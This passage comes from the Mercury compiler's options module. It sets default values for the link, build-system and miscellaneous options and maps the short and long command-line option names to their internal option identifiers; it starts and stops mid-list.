  string_special,\n    cli_interpreter                     -   string(\"\"),\n\n    % Erlang\n    erlang_compiler                     -   string(\"erlc\"),\n    erlang_interpreter                  -   string(\"erl\"),\n    erlang_flags                        -   accumulating([]),\n    quoted_erlang_flag                  -   string_special,\n    erlang_include_directory            -   accumulating([]),\n    erlang_object_file_extension        -   string(\".beam\"),\n    erlang_native_code                  -   bool(no),\n    erlang_inhibit_trivial_warnings     -   bool(yes)\n]).\noption_defaults_2(link_option, [\n    % Link Options\n    output_file_name                    -   string(\"\"),\n                                        % If the output_file_name is an empty\n                                        % string, we use the name of the first\n                                        % module on the command line.\n    ld_flags                            -   accumulating([]),\n    quoted_ld_flag                      -   string_special,\n    ld_libflags                         -   accumulating([]),\n    quoted_ld_libflag                   -   string_special,\n    link_library_directories            -   accumulating([]),\n    runtime_link_library_directories    -   accumulating([]),\n    link_libraries                      -   accumulating([]),\n    link_objects                        -   accumulating([]),\n    mercury_library_directory_special   -   string_special,\n    mercury_library_directories         -   accumulating([]),\n    search_library_files_directory_special - string_special,\n    search_library_files_directories    -   accumulating([]),\n    mercury_library_special             -   string_special,\n    mercury_libraries                   -   accumulating([]),\n    mercury_standard_library_directory  -   maybe_string(no),\n                                        % The Mercury.config file will set the\n                                        % default standard library directory.\n    mercury_standard_library_directory_special - maybe_string_special,\n    init_file_directories               -   accumulating([]),\n    init_files                          -   accumulating([]),\n    trace_init_files                    -   accumulating([]),\n    linkage                             -   string(\"shared\"),\n    linkage_special                     -   string_special,\n    mercury_linkage                     -   string(\"shared\"),\n    mercury_linkage_special             -   string_special,\n    demangle                            -   bool(yes),\n    strip                               -   bool(yes),\n    main                                -   bool(yes),\n    allow_undefined                     -   bool(yes),\n    use_readline                        -   bool(yes),\n    runtime_flags                       -   accumulating([]),\n    extra_initialization_functions      -   bool(no),\n    frameworks                          -   accumulating([]),\n    framework_directories               -   accumulating([]),\n\n    shared_library_extension            -   string(\".so\"),\n                                        % The `mmc' script will override the\n                                        % default with a value determined at\n                                        % configuration time.\n    library_extension                   -   string(\".a\"),\n    executable_file_extension           -   string(\"\"),\n    link_executable_command             -   string(\"gcc\"),\n    link_shared_lib_command             -   string(\"gcc -shared\"),\n    create_archive_command              -   string(\"ar\"),\n    create_archive_command_output_flag  -   string(\"\"),\n    create_archive_command_flags        -   accumulating([]), % \"cr\"\n    ranlib_command                      -   string(\"\"),\n    ranlib_flags                        -   string(\"\"),\n    mkinit_command                      -   string(\"mkinit\"),\n    mkinit_erl_command                  -   string(\"mkinit_erl\"),\n    demangle_command                    -   string(\"mdemangle\"),\n    filtercc_command                    -   string(\"mfiltercc\"),\n    trace_libs                          -   string(\"\"),\n    thread_libs                         -   string(\"\"),\n    hwloc_libs                          -   string(\"\"),\n    hwloc_static_libs                   -   string(\"\"),\n    shared_libs                         -   string(\"\"),\n    math_lib                            -   string(\"\"),\n    readline_libs                       -   string(\"\"),\n    linker_opt_separator                -   string(\"\"),\n    linker_debug_flags                  -   string(\"-g\"),\n    shlib_linker_debug_flags            -   string(\"-g\"),\n    linker_trace_flags                  -   string(\"-g\"),\n    shlib_linker_trace_flags            -   string(\"-g\"),\n    linker_thread_flags                 -   string(\"\"),\n    shlib_linker_thread_flags           -   string(\"\"),\n    linker_static_flags                 -   string(\"-static\"),\n    linker_strip_flag                   -   string(\"-s\"),\n    linker_link_lib_flag                -   string(\"-l\"),\n    linker_link_lib_suffix              -   string(\"\"),\n    shlib_linker_link_lib_flag          -   string(\"-l\"),\n    shlib_linker_link_lib_suffix        -   string(\"\"),\n    linker_path_flag                    -   string(\"-L\"),\n    linker_rpath_flag                   -   string(\"-Wl,-rpath\"),\n    linker_rpath_separator              -   string(\" -Wl,-rpath\"),\n    shlib_linker_rpath_flag             -   string(\"-Wl,-rpath\"),\n    shlib_linker_rpath_separator        -   string(\" -Wl,-rpath\"),\n    linker_allow_undefined_flag         -   string(\"\"),\n    linker_error_undefined_flag         -   string(\"-Wl,-no-undefined\"),\n    shlib_linker_use_install_name       -   bool(no),\n    shlib_linker_install_name_flag      -   string(\"-install_name \"),\n    shlib_linker_install_name_path      -   string(\"\"),\n    java_archive_command                -   string(\"jar\")\n]).\noption_defaults_2(build_system_option, [\n    % Build System Options\n    make                                -   bool(no),\n    keep_going                          -   bool(no),\n    rebuild                             -   bool(no),\n    jobs                                -   int(1),\n    track_flags                         -   bool(no),\n    invoked_by_mmc_make                 -   bool(no),\n    pre_link_command                    -   maybe_string(no),\n    extra_init_command                  -   maybe_string(no),\n    install_prefix                      -   string(\"/usr/local/\"),\n    use_symlinks                        -   bool(yes),\n\n    % If `--mercury-stdlib-dir' is set, `--mercury-config-dir'\n    % must also be set.  This invariant is maintained by the\n    % `special' variants of the options.\n    mercury_configuration_directory_special - string_special,\n    mercury_configuration_directory     -   maybe_string(no),\n    install_command                     -   string(\"cp\"),\n    install_command_dir_option          -   string(\"-r\"),\n    libgrades                           -   accumulating([]),\n    libgrades_include_components        -   accumulating([]),\n    libgrades_exclude_components        -   accumulating([]),\n    lib_linkages                        -   accumulating([]),\n    flags_file                          -   file_special,\n    options_files                       -   accumulating([\"Mercury.options\"]),\n\n    config_file                         -   maybe_string(yes(\"\")),\n                                        % yes(\"\") means unset.\n    options_search_directories          -   accumulating([\".\"]),\n    use_subdirs                         -   bool(no),\n    use_grade_subdirs                   -   bool(no),\n    search_directories                  -   accumulating([\".\"]),\n    intermod_directories                -   accumulating([]),\n    use_search_directories_for_intermod -   bool(yes),\n    libgrade_install_check              -   bool(yes),\n    order_make_by_timestamp             -   bool(no),\n    show_make_times                     -   bool(no),\n    extra_library_header                -   accumulating([]),\n    restricted_command_line             -   bool(no),\n    env_type                            -   string_special,\n    host_env_type                       -   string(\"posix\"),\n    target_env_type                     -   string(\"posix\")\n]).\noption_defaults_2(miscellaneous_option, [\n    % Miscellaneous Options\n    filenames_from_stdin                -   bool(no),\n    typecheck_ambiguity_warn_limit      -   int(50),\n    typecheck_ambiguity_error_limit     -   int(3000),\n    help                                -   bool(no),\n    version                             -   bool(no),\n    fullarch                            -   string(\"\"),\n    cross_compiling                     -   bool(no),\n    local_module_id                     -   accumulating([]),\n    analysis_file_cache_dir             -   string(\"\"),\n    compiler_sufficiently_recent        -   bool(no),\n    experiment                          -   string(\"\"),\n    ignore_par_conjunctions             -   bool(no),\n    control_granularity                 -   bool(no),\n    distance_granularity                -   int(0),\n    implicit_parallelism                -   bool(no),\n    feedback_file                       -   string(\"\"),\n    par_loop_control                    -   bool(no),\n    par_loop_control_preserve_tail_recursion - bool(no)\n]).\n\n    % please keep this in alphabetic order\nshort_option('c', compile_only).\nshort_option('C', target_code_only).\nshort_option('d', dump_hlds).\nshort_option('D', dump_hlds_alias).\nshort_option('e', errorcheck_only).\nshort_option('E', verbose_errors).\nshort_option('f', generate_source_file_mapping).\nshort_option('F', framework_directories).\nshort_option('h', help).\nshort_option('H', highlevel_code).\nshort_option('i', make_interface).\nshort_option('j', jobs).\nshort_option('I', search_directories).\nshort_option('k', keep_going).\nshort_option('l', link_libraries).\nshort_option('L', link_library_directories).\nshort_option('m', make).\nshort_option('M', generate_dependencies).\nshort_option('n', line_numbers).\nshort_option('N', debug_modes).\nshort_option('o', output_file_name).\nshort_option('O', opt_level).\nshort_option('p', profiling).\nshort_option('P', convert_to_mercury).\nshort_option('r', rebuild).\nshort_option('R', runtime_link_library_directories).\nshort_option('s', grade).\nshort_option('S', statistics).\nshort_option('T', debug_types).\nshort_option('t', typecheck_only).\nshort_option('v', verbose).\nshort_option('V', very_verbose).\nshort_option('w', inhibit_warnings).\nshort_option('x', make_xml_documentation).\nshort_option('?', help).\n\n% warning options\nlong_option(\"inhibit-warnings\",         inhibit_warnings).\nlong_option(\"inhibit-accumulator-warnings\", inhibit_accumulator_warnings).\nlong_option(\"halt-at-warn\",             halt_at_warn).\nlong_option(\"halt-at-syntax-errors\",    halt_at_syntax_errors).\nlong_option(\"halt-at-auto-parallel-failure\", halt_at_auto_parallel_failure).\nlong_option(\"warn-singleton-variables\", warn_singleton_vars).\nlong_option(\"warn-overlapping-scopes\",  warn_overlapping_scopes).\nlong_option(\"warn-det-decls-too-lax\",   warn_det_decls_too_lax).\nlong_option(\"warn-inferred-erroneous\",  warn_inferred_erroneous).\nlong_option(\"warn-nothing-exported\",    warn_nothing_exported).\nlong_option(\"warn-unused-args\",         warn_unused_args).\nlong_option(\"warn-interface-imports\",   warn_interface_imports).\nlong_option(\"warn-non-contiguous-clauses\",  warn_non_contiguous_clauses).\nlong_option(\"warn-non-contiguous-foreign-procs\",\n                                        warn_non_contiguous_foreign_procs).\nlong_option(\"warn-non-stratification\",  warn_non_stratification).\nlong_option(\"warn-missing-opt-files\",   warn_missing_opt_files).\nlong_option(\"warn-missing-trans-opt-files\", warn_missing_trans_opt_files).\nlong_option(\"warn-missing-trans-opt-deps\",  warn_missing_trans_opt_deps).\nlong_option(\"warn-unification-cannot-succeed\",\n                                        warn_unification_cannot_succeed).\nlong_option(\"warn-simple-code\",         warn_simple_code).\nlong_option(\"warn-duplicate-calls\",     warn_duplicate_calls).\nlong_option(\"warn-missing-module-name\", warn_missing_module_name).\nlong_option(\"warn-wrong-module-name\",   warn_wrong_module_name).\nlong_option(\"warn-smart-recompilation\", warn_smart_recompilation).\nlong_option(\"warn-undefined-options-variables\",\n                    warn_undefined_options_variables).\nlong_option(\"warn-non-tail-recursion\",  warn_non_tail_recursion).\nlong_option(\"warn-target-code\",         warn_target_code).\nlong_option(\"warn-up-to-date\",          warn_up_to_date).\nlong_option(\"warn-stubs\",               warn_stubs).\nlong_option(\"warn-dead-procs\",          warn_dead_procs).\nlong_option(\"warn-table-with-inline\",   warn_table_with_inline).\nlong_option(\"warn-non-term-special-preds\", warn_non_term_special_preds).\nlong_option(\"warn-known-bad-format-calls\", warn_known_bad_format_calls).\nlong_option(\"warn-unknown-format-calls\", warn_unknown_format_calls).\nlong_option(\"warn-obsolete\",             warn_obsolete).\nlong_option(\"warn-insts-without-matching-type\",\n                                        warn_insts_without_matching_type).\nlong_option(\"warn-unused-imports\",      warn_unused_imports).\nlong_option(\"inform-ite-instead-of-switch\", inform_ite_instead_of_switch).\nlong_option(\"warn-unresolved-polymorphism\", warn_unresolved_polymorphism).\nlong_option(\"warn-suspicious-foreign-procs\", warn_suspicious_foreign_procs).\nlong_option(\"warn-state-var-shadowing\", warn_state_var_shadowing).\nlong_option(\"inform-inferred\",          inform_inferred).\nlong_option(\"inform-inferred-types\",    inform_inferred_types).\nlong_option(\"inform-inferred-modes\",    inform_inferred_modes).\n\n% verbosity options\nlong_option(\"verbose\",                  verbose).\nlong_option(\"very-verbose\",             very_verbose).\nlong_option(\"verbose-error-messages\",   verbose_errors).\nlong_option(\"verbose-recompilation\",    verbose_recompilation).\nlong_option(\"find-all-recompilation-reasons\",\n                                        find_all_recompilation_reasons).\nlong_option(\"verbose-make\",             verbose_make).\nlong_option(\"verbose-commands\",         verbose_commands).\nlong_option(\"output-compile-error-lines\",   output_compile_error_lines).\nlong_option(\"report-cmd-line-args\",     report_cmd_line_args).\nlong_option(\"report-cmd-line-args-in-doterr\",\n                                        report_cmd_line_args_in_doterr).\nlong_option(\"statistics\",               statistics).\nlong_option(\"detailed-statistics\",      detailed_statistics).\nlong_option(\"proc-size-statistics\",     proc_size_statistics).\nlong_option(\"debug-types\",              debug_types).\nlong_option(\"debug-modes\",              debug_modes).\nlong_option(\"debug-modes-statistics\",   debug_modes_statistics).\nlong_option(\"debug-modes-minimal\",      debug_modes_minimal).\nlong_option(\"debug-modes-verbose\",      debug_modes_verbose).\nlong_option(\"debug-modes-pred-id\",      debug_modes_pred_id).\nlong_option(\"debug-dep-par-conj\",       debug_dep_par_conj).\nlong_option(\"debug-determinism\",        debug_det).\nlong_option(\"debug-det\",                debug_det).\nlong_option(\"debug-code-gen-pred-id\",   debug_code_gen_pred_id).\nlong_option(\"debug-termination\",        debug_term).\nlong_option(\"debug-term\",               debug_term).\nlong_option(\"debug-opt\",                debug_opt).\nlong_option(\"debug-opt-pred-id\",        debug_opt_pred_id).\nlong_option(\"debug-opt-pred-name\",      debug_opt_pred_name).\nlong_option(\"debug-pd\",                 debug_pd).\n    % debug-il-asm does very low-level printf style debugging of\n    % IL assembler.  Each instruction is written on stdout before it\n    % is executed.  It is a temporary measure until the IL debugging\n    % system built into .NET improves.\nlong_option(\"debug-il-asm\",             debug_il_asm).\nlong_option(\"debug-liveness\",           debug_liveness).\nlong_option(\"debug-stack-opt\",          debug_stack_opt).\nlong_option(\"debug-make\",               debug_make).\nlong_option(\"debug-closure\",            debug_closure).\nlong_option(\"debug-trail-usage\",        debug_trail_usage).\nlong_option(\"debug-mode-constraints\",   debug_mode_constraints).\nlong_option(\"debug-intermodule-analysis\",   debug_intermodule_analysis).\nlong_option(\"debug-mm-tabling-analysis\",    debug_mm_tabling_analysis).\nlong_option(\"debug-indirect-reuse\",         debug_indirect_reuse).\nlong_option(\"debug-type-rep\",               debug_type_rep).\n\n% output options (mutually exclusive)\nlong_option(\"generate-source-file-mapping\", generate_source_file_mapping).\nlong_option(\"generate-dependency-file\", generate_dependency_file).\nlong_option(\"generate-dependencies\",    generate_dependencies).\nlong_option(\"generate-module-order\",    generate_module_order).\nlong_option(\"generate-standalone-interface\", generate_standalone_interface).\nlong_option(\"make-short-interface\",     make_short_interface).\nlong_option(\"make-short-int\",           make_short_interface).\nlong_option(\"make-interface\",           make_interface).\nlong_option(\"make-int\",                 make_interface).\nlong_option(\"make-private-interface\",   make_private_interface).\nlong_option(\"make-priv-int\",            make_private_interface).\nlong_option(\"make-optimization-interface\", make_optimization_interface).\nlong_option(\"make-optimisation-interface\", make_optimization_interface).\nlong_option(\"make-opt-int\",             make_optimization_interface).\nlong_option(\"make-transitive-optimization-interface\",\n                                        make_transitive_opt_interface).\nlong_option(\"make-transitive-optimisation-interface\",\n                                        make_transitive_opt_interface).\nlong_option(\"make-trans-opt\",           make_transitive_opt_interface).\nlong_option(\"make-analysis-registry\",   make_analysis_registry).\nlong_option(\"make-xml-doc\",             make_xml_documentation).\nlong_option(\"make-xml-documentation\",   make_xml_documentation).\nlong_option(\"convert-to-mercury\",       convert_to_mercury).\nlong_option(\"convert-to-Mercury\",       convert_to_mercury).\nlong_option(\"pretty-print\",             convert_to_mercury).\nlong_option(\"typecheck-only\",           typecheck_only).\nlong_option(\"errorcheck-only\",          errorcheck_only).\nlong_option(\"target-code-only\",         target_code_only).\nlong_option(\"compile-only\",             compile_only).\nlong_option(\"compile-to-shared-lib\",    compile_to_shared_lib).\nlong_option(\"output-grade-string\",      output_grade_string).\nlong_option(\"output-link-command\",      output_link_command).\nlong_option(\"output-shared-lib-link-command\", output_shared_lib_link_command).\nlong_option(\"output-libgrades\",         output_libgrades).\nlong_option(\"output-cc\",                output_cc).\nlong_option(\"output-cc-type\",           output_c_compiler_type).\nlong_option(\"output-c-compiler-type\",   output_c_compiler_type).\nlong_option(\"output-csharp-compiler-type\", output_csharp_compiler_type).\nlong_option(\"output-cflags\",            output_cflags).\nlong_option(\"output-library-link-flags\",    output_library_link_flags).\nlong_option(\"output-grade-defines\",     output_grade_defines).\nlong_option(\"output-c-include-directory-flags\",\n    output_c_include_directory_flags).\nlong_option(\"output-c-include-dir-flags\",\n    output_c_include_directory_flags).\n\n% aux output options\nlong_option(\"smart-recompilation\",      smart_recompilation).\nlong_option(\"assume-gmake\",             assume_gmake).\nlong_option(\"generate-mmc-make-module-dependencies\",\n                                        generate_mmc_make_module_dependencies).\nlong_option(\"generate-mmc-deps\",        generate_mmc_make_module_dependencies).\nlong_option(\"ssdb-trace\",               ssdb_trace_level).\nlong_option(\"link-ssdb-libs\",           link_ssdb_libs).\nlong_option(\"link-ssdebug-libs\",        link_ssdb_libs).\nlong_option(\"trace\",                    trace_level).\nlong_option(\"trace-optimised\",          trace_optimized).\nlong_option(\"trace-optimized\",          trace_optimized).\nlong_option(\"trace-prof\",               trace_prof).\nlong_option(\"trace-table-io\",           trace_table_io).\nlong_option(\"trace-table-io-only-retry\",    trace_table_io_only_retry).\nlong_option(\"trace-table-io-states\",    trace_table_io_states).\nlong_option(\"trace-table-io-require\",   trace_table_io_require).\nlong_option(\"trace-table-io-all\",       trace_table_io_all).\nlong_option(\"trace-flag\",               trace_goal_flags).\nlong_option(\"profile-optimised\",        prof_optimized).\nlong_option(\"profile-optimized\",        prof_optimized).\nlong_option(\"exec-trace-tail-rec\",      exec_trace_tail_rec).\nlong_option(\"suppress-trace\",           suppress_trace).\nlong_option(\"force-disable-tracing\",    force_disable_tracing).\nlong_option(\"delay-death\",              delay_death).\nlong_option(\"delay-death-max-vars\",     delay_death_max_vars).\nlong_option(\"stack-trace-higher-order\", stack_trace_higher_order).\nlong_option(\"force-disable-ssdebug\",    force_disable_ssdebug).\nlong_option(\"generate-bytecode\",        generate_bytecode).\nlong_option(\"line-numbers\",             line_numbers).\nlong_option(\"auto-comments\",            auto_comments).\nlong_option(\"frameopt-comments\",        frameopt_comments).\nlong_option(\"max-error-line-width\",     max_error_line_width).\nlong_option(\"show-dependency-graph\",    show_dependency_graph).\nlong_option(\"imports-graph\",            imports_graph).\nlong_option(\"dump-trace-counts\",        dump_trace_counts).\nlong_option(\"dump-hlds\",                dump_hlds).\nlong_option(\"hlds-dump\",                dump_hlds).\nlong_option(\"dump-hlds-pred-id\",        dump_hlds_pred_id).\nlong_option(\"dump-hlds-pred-name\",      dump_hlds_pred_name).\nlong_option(\"dump-hlds-alias\",          dump_hlds_alias).\nlong_option(\"dump-hlds-options\",        dump_hlds_options).\nlong_option(\"dump-hlds-inst-limit\",     dump_hlds_inst_limit).\nlong_option(\"dump-hlds-file-suffix\",    dump_hlds_file_suffix).\nlong_option(\"dump-same-hlds\",           dump_same_hlds).\nlong_option(\"dump-mlds\",                dump_mlds).\nlong_option(\"mlds-dump\",                dump_mlds).\nlong_option(\"verbose-dump-mlds\",        verbose_dump_mlds).\nlong_option(\"verbose-mlds-dump\",        verbose_dump_mlds).\nlong_option(\"sign-assembly\",            sign_assembly).\nlong_option(\"separate-assemblies\",      separate_assemblies).\nlong_option(\"mode-constraints\",         mode_constraints).\nlong_option(\"simple-mode-constraints\",  simple_mode_constraints).\nlong_option(\"prop-mode-constraints\",    prop_mode_constraints).\nlong_option(\"propagate-mode-constraints\",   prop_mode_constraints).\nlong_option(\"benchmark-modes\",          benchmark_modes).\nlong_option(\"benchmark-modes-repeat\",   benchmark_modes_repeat).\n\n% language semantics options\nlong_option(\"reorder-conj\",         reorder_conj).\nlong_option(\"reorder-disj\",         reorder_disj).\nlong_option(\"fully-strict\",         fully_strict).\nlong_option(\"strict-sequential\",    strict_sequential).\nlong_option(\"allow-stubs\",          allow_stubs).\nlong_option(\"infer-all\",            infer_all).\nlong_option(\"infer-types\",          infer_types).\nlong_option(\"infer-modes\",          infer_modes).\nlong_option(\"infer-determinism\",    infer_det).\nlong_option(\"infer-det\",            infer_det).\nlong_option(\"type-inference-iteration-limit\", type_inference_iteration_limit).\nlong_option(\"mode-inference-iteration-limit\", mode_inference_iteration_limit).\nlong_option(\"event-set-file-name\",  event_set_file_name).\n\n% compilation model options\nlong_option(\"grade\",                grade).\n% target selection options\nlong_option(\"target\",               target).\nlong_option(\"il\",                   il).\nlong_option(\"il-only\",              il_only).\nlong_option(\"IL-only\",              il_only).\nlong_option(\"compile-to-c\",         compile_to_c).\nlong_option(\"compile-to-C\",         compile_to_c).\nlong_option(\"java\",                 java).\nlong_option(\"Java\",                 java).\nlong_option(\"java-only\",            java_only).\nlong_option(\"Java-only\",            java_only).\nlong_option(\"csharp\",               csharp).\nlong_option(\"C#\",                   csharp).\nlong_option(\"csharp-only\",          csharp_only).\nlong_option(\"C#-only\",              csharp_only).\nlong_option(\"x86_64\",               x86_64).\nlong_option(\"x86-64\",               x86_64).\nlong_option(\"x86_64-only\",          x86_64_only).\nlong_option(\"x86-64-only\",          x86_64_only).\nlong_option(\"erlang\",               erlang).\nlong_option(\"Erlang\",               erlang).\nlong_option(\"erlang-only\",          erlang_only).\nlong_option(\"Erlang-only\",          erlang_only).\n% Optional features compilation model options:\n% (a) debugging\nlong_option(\"debug\",                exec_trace).\nlong_option(\"decl-debug\",           decl_debug).\nlong_option(\"ssdb\",                 source_to_source_debug).\nlong_option(\"ss-debug\",             source_to_source_debug).\nlong_option(\"source-to-source-debug\", source_to_source_debug).\n    % (b) profiling\nlong_option(\"profiling\",            profiling).\nlong_option(\"time-profiling\",       time_profiling).\nlong_option(\"memory-profiling\",     memory_profiling).\nlong_option(\"deep-profiling\",       deep_profiling).\nlong_option(\"profile-calls\",        profile_calls).\nlong_option(\"profile-time\",         profile_time).\nlong_option(\"profile-memory\",       profile_memory).\nlong_option(\"profile-deep\",         profile_deep).\nlong_option(\"use-activation-counts\",    use_activation_counts).\nlong_option(\"pre-prof-transforms-simplify\", pre_prof_transforms_simplify).\nlong_option(\"pre-implicit-parallelism-simplify\",\n    pre_implicit_parallelism_simplify).\nlong_option(\"coverage-profiling\",\n                    coverage_profiling).\nlong_option(\"coverage-profiling-via-calls\",\n                    coverage_profiling_via_calls).\nlong_option(\"coverage-profiling-static\",\n                    coverage_profiling_static).\nlong_option(\"profile-deep-coverage-after-goal\",\n                    profile_deep_coverage_after_goal).\nlong_option(\"profile-deep-coverage-branch-ite\",\n                    profile_deep_coverage_branch_ite).\nlong_option(\"profile-deep-coverage-branch-switch\",\n                    profile_deep_coverage_branch_switch).\nlong_option(\"profile-deep-coverage-branch-disj\",\n                    profile_deep_coverage_branch_disj).\nlong_option(\"profile-deep-coverage-use-portcounts\",\n                    profile_deep_coverage_use_portcounts).\nlong_option(\"profile-deep-coverage-use-trivial\",\n                    profile_deep_coverage_use_trivial).\nlong_option(\"profile-for-implicit-parallelism\",\n                    profile_for_feedback).\nlong_option(\"profile-for-feedback\",\n                    profile_for_feedback).\nlong_option(\"use-zeroing-for-ho-cycles\",\n                    use_zeroing_for_ho_cycles).\nlong_option(\"use-lots-of-ho-specialization\",\n                    use_lots_of_ho_specialization).\nlong_option(\"deep-profile-tail-recursion\",\n                    deep_profile_tail_recursion).\nlong_option(\"record-term-sizes-as-words\", record_term_sizes_as_words).\nlong_option(\"record-term-sizes-as-cells\", record_term_sizes_as_cells).\nlong_option(\"experimental-complexity\",  experimental_complexity).\nlong_option(\"region-analysis\",      region_analysis).\n% (c) miscellaneous optional features\nlong_option(\"gc\",                   gc).\nlong_option(\"garbage-collection\",   gc).\nlong_option(\"parallel\",             parallel).\nlong_option(\"use-trail\",            use_trail).\nlong_option(\"trail-segments\",       trail_segments).\nlong_option(\"type-layout\",          type_layout).\nlong_option(\"maybe-thread-safe\",    maybe_thread_safe_opt).\nlong_option(\"extend-stacks-when-needed\",    extend_stacks_when_needed).\nlong_option(\"stack-segments\",       stack_segments).\nlong_option(\"use-regions\",          use_regions).\nlong_option(\"use-alloc-regions\",    use_alloc_regions).\nlong_option(\"use-regions-debug\",    use_regions_debug).\nlong_option(\"use-regions-profiling\",use_regions_profiling).\n% Data representation options\nlong_option(\"use-minimal-model-stack-copy\", use_minimal_model_stack_copy).\nlong_option(\"use-minimal-model-own-stacks\", use_minimal_model_own_stacks).\nlong_option(\"minimal-model-debug\",  minimal_model_debug).\nlong_option(\"single-prec-float\",    single_prec_float).\nlong_option(\"single-precision-float\",   single_prec_float).\nlong_option(\"pic-reg\",              pic_reg).\nlong_option(\"tags\",                 tags).\nlong_option(\"num-tag-bits\",         num_tag_bits).\nlong_option(\"num-reserved-addresses\",   num_reserved_addresses).\nlong_option(\"num-reserved-objects\", num_reserved_objects).\nlong_option(\"bits-per-word\",        bits_per_word).\nlong_option(\"bytes-per-word\",       bytes_per_word).\nlong_option(\"conf-low-tag-bits\",    conf_low_tag_bits).\nlong_option(\"sync-term-size\",       sync_term_size).\nlong_option(\"unboxed-float\",        unboxed_float).\nlong_option(\"unboxed-enums\",        unboxed_enums).\nlong_option(\"unboxed-no-tag-types\", unboxed_no_tag_types).\nlong_option(\"highlevel-data\",       highlevel_data).\nlong_option(\"high-level-data\",      highlevel_data).\n% LLDS back-end compilation model options\nlong_option(\"gcc-non-local-gotos\",  gcc_non_local_gotos).\nlong_option(\"gcc-global-registers\", gcc_global_registers).\nlong_option(\"asm-labels\",           asm_labels).\nlong_option(\"use-float-registers\",  use_float_registers).\n% MLDS back-end compilation model options\nlong_option(\"highlevel-code\",       highlevel_code).\nlong_option(\"high-level-code\",      highlevel_code).\nlong_option(\"highlevel-C\",          highlevel_code).\nlong_option(\"highlevel-c\",          highlevel_code).\nlong_option(\"high-level-C\",         highlevel_code).\nlong_option(\"high-level-c\",         highlevel_code).\nlong_option(\"gcc-nested-functions\", gcc_nested_functions).\nlong_option(\"det-copy-out\",         det_copy_out).\nlong_option(\"nondet-copy-out\",      nondet_copy_out).\nlong_option(\"put-commit-in-own-func\",   put_commit_in_own_func).\nlong_option(\"put-nondet-env-on-heap\",   put_nondet_env_on_heap).\n% IL back-end compilation model options\nlong_option(\"verifiable-code\",      verifiable_code).\nlong_option(\"verifiable\",           verifiable_code).\nlong_option(\"il-funcptr-types\",     il_funcptr_types).\nlong_option(\"IL-funcptr-types\",     il_funcptr_types).\nlong_option(\"il-refany-fields\",     il_refany_fields).\nlong_option(\"IL-refany-fields\",     il_refany_fields).\nlong_option(\"il-byref-tailcalls\",   il_byref_tailcalls).\nlong_option(\"IL-byref-tailcalls\",   il_byref_tailcalls).\n\n% internal use options\nlong_option(\"backend-foreign-languages\", backend_foreign_languages).\nlong_option(\"agc-stack-layout\",     agc_stack_layout).\nlong_option(\"basic-stack-layout\",   basic_stack_layout).\nlong_option(\"procid-stack-layout\",  procid_stack_layout).\nlong_option(\"trace-stack-layout\",   trace_stack_layout).\nlong_option(\"body-typeinfo-liveness\",   body_typeinfo_liveness).\nlong_option(\"can-compare-constants-as-ints\",    can_compare_constants_as_ints).\nlong_option(\"pretest-equality-cast-pointers\",   pretest_equality_cast_pointers).\nlong_option(\"can-compare-compound-values\",      can_compare_compound_values).\nlong_option(\"lexically-order-constructors\",\n                                    lexically_order_constructors).\nlong_option(\"mutable-always-boxed\", mutable_always_boxed).\nlong_option(\"delay-partial-instantiations\", delay_partial_instantiations).\nlong_option(\"allow-defn-of-builtins\",           allow_defn_of_builtins).\nlong_option(\"special-preds\",        special_preds).\nlong_option(\"type-ctor-info\",       type_ctor_info).\nlong_option(\"type-ctor-layout\",     type_ctor_layout).\nlong_option(\"type-ctor-functors\",   type_ctor_functors).\nlong_option(\"new-type-class-rtti\",  new_type_class_rtti).\nlong_option(\"rtti-line-numbers\",    rtti_line_numbers).\nlong_option(\"disable-mm-pneg\",      disable_minimal_model_stack_copy_pneg).\nlong_option(\"disable-mm-cut\",       disable_minimal_model_stack_copy_cut).\nlong_option(\"disable-trail-ops\",    disable_trail_ops).\nlong_option(\"size-region-ite-fixed\",            size_region_ite_fixed).\nlong_option(\"size-region-disj-fixed\",           size_region_disj_fixed).\nlong_option(\"size-region-commit-fixed\",         size_region_commit_fixed).\nlong_option(\"size-region-ite-protect\",          size_region_ite_protect).\nlong_option(\"size-region-ite-snapshot\",         size_region_ite_snapshot).\nlong_option(\"size-region-semi-disj-protect\",    size_region_semi_disj_protect).\nlong_option(\"size-region-disj-snapshot\",        size_region_disj_snapshot).\nlong_option(\"size-region-commit-entry\",         size_region_commit_entry).\nlong_option(\"solver-type-auto-init\",    solver_type_auto_init).\nlong_option(\"allow-multi-arm-switches\", allow_multi_arm_switches).\nlong_option(\"type-check-constraints\",   type_check_constraints).\nlong_option(\"allow-argument-packing\",   allow_argument_packing).\n\n% code generation options\nlong_option(\"low-level-debug\",      low_level_debug).\nlong_option(\"table-debug\",          table_debug).\nlong_option(\"polymorphism\",         polymorphism).\nlong_option(\"trad-passes\",          trad_passes).\nlong_option(\"parallel-liveness\",    parallel_liveness).\nlong_option(\"parallel-code-gen\",    parallel_code_gen).\nlong_option(\"reclaim-heap-on-failure\",  reclaim_heap_on_failure).\nlong_option(\"reclaim-heap-on-semidet-failure\",\n                                    reclaim_heap_on_semidet_failure).\nlong_option(\"reclaim-heap-on-nondet-failure\",\n                                    reclaim_heap_on_nondet_failure).\nlong_option(\"branch-delay-slot\",    have_delay_slot).\nlong_option(\"have-delay-slot\",      have_delay_slot).\nlong_option(\"num-real-r-regs\",      num_real_r_regs).\nlong_option(\"num-real-f-regs\",      num_real_f_regs).\nlong_option(\"num-real-r-temps\",     num_real_r_temps).\nlong_option(\"num-real-f-temps\",     num_real_f_temps).\nlong_option(\"num-real-temps\",       num_real_r_temps).  % obsolete\nlong_option(\"max-jump-table-size\",  max_jump_table_size).\n% long_option(\"max-spec-do-call-closure\",\n%                   max_specialized_do_call_closure).\n% long_option(\"max-spec-do-call-class-method\",\n%                   max_specialized_do_call_class_method).\nlong_option(\"compare-specialization\",   compare_specialization).\nlong_option(\"should-pretest-equality\",  should_pretest_equality).\nlong_option(\"fact-table-max-array-size\",fact_table_max_array_size).\nlong_option(\"fact-table-hash-percent-full\",\n                    fact_table_hash_percent_full).\nlong_option(\"gcc-local-labels\",     gcc_local_labels).\nlong_option(\"prefer-switch\",        prefer_switch).\nlong_option(\"opt-no-return-calls\",  opt_no_return_calls).\n\n% optimization options\n\nlong_option(\"opt-level\",            opt_level).\nlong_option(\"optimization-level\",   opt_level).\nlong_option(\"optimisation-level\",   opt_level).\nlong_option(\"opt-space\",            opt_space).\nlong_option(\"optimize-space\",       opt_space).\nlong_option(\"optimise-space\",       opt_space).\nlong_option(\"intermod-opt\",        intermodule_optimization).\nlong_option(\"intermodule-optimization\", intermodule_optimization).\nlong_option(\"intermodule-optimisation\", 